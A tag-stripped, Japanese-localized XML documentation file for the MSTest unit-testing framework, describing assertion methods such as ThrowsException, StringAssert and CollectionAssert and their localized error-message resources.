テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - 次の場合に、例外に含まれるメッセージ - 型の例外をスローしません 。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - スローされることが予期される例外の種類。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に - - AssertFailedException - - をスローするかどうかをテストします。 - - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - デリゲート によって指定されたコードが型 (派生型ではない) の指定されたとおりの例外をスローするかどうか、 - およびコードが例外をスローしない場合や 以外の型の例外をスローする場合に AssertFailedException をスローするかどうかをテストします。 - - テスト対象であり、例外をスローすると予期されるコードにデリゲートします。 - - 次の場合に、例外に含まれるメッセージ - 以下の型の例外をスローしない場合。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - その (デリゲートを実行中)。 - - - - - null 文字 ('\0') を "\\0" に置き換えます。 - - - 検索する文字列。 - - - "\\0" で置き換えられた null 文字を含む変換された文字列。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException を作成して、スローするヘルパー関数 - - - 例外をスローするアサーションの名前 - - - アサーション エラーの条件を記述するメッセージ - - - パラメーター。 - - - - - 有効な条件であるかパラメーターを確認します - - - パラメーター。 - - - アサーション名。 - - - パラメーター名 - - - 無効なパラメーター例外のメッセージ - - - パラメーター。 - - - - - 安全にオブジェクトを文字列に変換し、null 値と null 文字を処理します。 - null 値は "(null)" に変換されます。null 文字は "\\0" に変換されます。 - - - 文字列に変換するオブジェクト。 - - - 変換された文字列。 - - - - - 文字列のアサート。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定した文字列に指定したサブ文字列が含まれているかどうかをテストして、 - テスト文字列内にサブ文字列が含まれていない場合は例外を - スローします。 - - - 次を含むと予期される文字列 。 - - - 次の内部で発生することが予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の先頭が指定したサブ文字列であるかどうかをテストして - テスト文字列の先頭がサブ文字列でない場合は - 例外をスローします。 - - - 先頭が次であると予期される文字列 。 - - - 次のプレフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 先頭が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not begin with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not end with - . - - - - - 指定した文字列の末尾が指定したサブ文字列であるかどうかをテストして、 - テスト文字列の末尾がサブ文字列でない場合は - 例外をスローします。 - - - 末尾が次であることが予期される文字列 。 - - - 次のサフィックスであると予期される文字列 。 - - - 次の場合に、例外に含まれるメッセージ - 末尾が次ではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not end with - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致するかどうかをテストして、 - 文字列が表現と一致しない場合は例外をスローします。 - - - 次と一致すると予期される文字列 。 - - - 次である正規表現 is - 一致することが予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致しない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not match - . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if matches . - - - - - 指定した文字列が正規表現と一致しないかどうかをテストして、 - 文字列が表現と一致する場合は例外をスローします。 - - - 次と一致しないと予期される文字列 。 - - - 次である正規表現 is - 一致しないと予期される。 - - - 次の場合に、例外に含まれるメッセージ - 一致する場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if matches . - - - - - 単体テスト内のコレクションと関連付けられている - さまざまな条件をテストするヘルパー クラスのコレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - CollectionAssert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is found in - . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a two or more equal elements are found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if every element in is also found in - . - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 最初のコレクションが 2 番目のコレクションのサブセットであるかどうかを - 決定します。いずれかのセットに重複する要素が含まれている場合は、 - サブセット内の要素の出現回数は - スーパーセット内の出現回数以下である必要があります。 - - - テストで次に含まれると予期されるコレクション 。 - - - テストで次を含むと予期されるコレクション 。 - - - 次の場合は true 次のサブセットの場合 - 、それ以外の場合は false。 - - - - - 指定したコレクションの各要素の出現回数を含む - 辞書を構築します。 - - - 処理するコレクション。 - - - コレクション内の null 要素の数。 - - - 指定したコレクション内の各要素の - 出現回数を含むディレクトリ。 - - - - - 2 つのコレクション間で一致しない要素を検索します。 - 一致しない要素とは、予期されるコレクションでの出現回数が - 実際のコレクションでの出現回数と異なる要素のことです。 - コレクションは、同じ数の要素を持つ、null ではない - さまざまな参照と見なされます。このレベルの検証を行う責任は - 呼び出し側にあります。一致しない要素がない場合、 - 関数は false を返し、out パラメーターは使用されません。 - - - 比較する最初のコレクション。 - - - 比較する 2 番目のコレクション。 - - - 次の予期される発生回数 - または一致しない要素がない場合は - 0 です。 - - - 次の実際の発生回数 - または一致しない要素がない場合は - 0 です。 - - - 一致しない要素 (null の場合があります)、または一致しない要素がない場合は - null です。 - - - 一致しない要素が見つかった場合は true、それ以外の場合は false。 - - - - - object.Equals を使用してオブジェクトを比較する - - - - - フレームワーク例外の基底クラス。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - ローカライズされた文字列などを検索するための、厳密に型指定されたリソース クラス。 - - - - - このクラスで使用されているキャッシュされた ResourceManager インスタンスを返します。 - - - - - 厳密に型指定されたこのリソース クラスを使用して、現在のスレッドの - CurrentUICulture プロパティをすべてのリソース ルックアップで無視します。 - - - - - "アクセス文字列は無効な構文を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "予期されたコレクションでは、<{2}> が {1} 回発生します。実際のコレクションでは、{3} 回発生します。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "重複する項目が見つかりました:<{1}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要です。実際の値: <{2}> では大文字と小文字が異なります。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> 以内の差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1} ({2})> が必要ですが、<{3} ({4})> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要ですが、<{2}> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> を超える差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> 以外の任意の値が必要ですが、<{2}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "AreSame() に値型を渡すことはできません。オブジェクトに変換された値は同じになりません。AreEqual() を使用することを検討してください。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0} に失敗しました。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "UITestMethodAttribute が指定された非同期の TestMethod はサポートされていません。非同期を削除するか、TestMethodAttribute を使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが空です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションの参照が、同じコレクション オブジェクトにポイントしています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0}({1})" に類似したローカライズされた文字列を検索します。 - - - - - "(null)" に類似したローカライズされた文字列を検索します。 - - - - - Looks up a localized string similar to (object). - - - - - "文字列 '{0}' は文字列 '{1}' を含んでいません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} ({1})" に類似したローカライズされた文字列を検索します。 - - - - - "アサーションには Assert.Equals を使用せずに、Assert.AreEqual とオーバーロードを使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "コレクション内の要素数が一致しません。<{1}> が必要ですが <{2}> 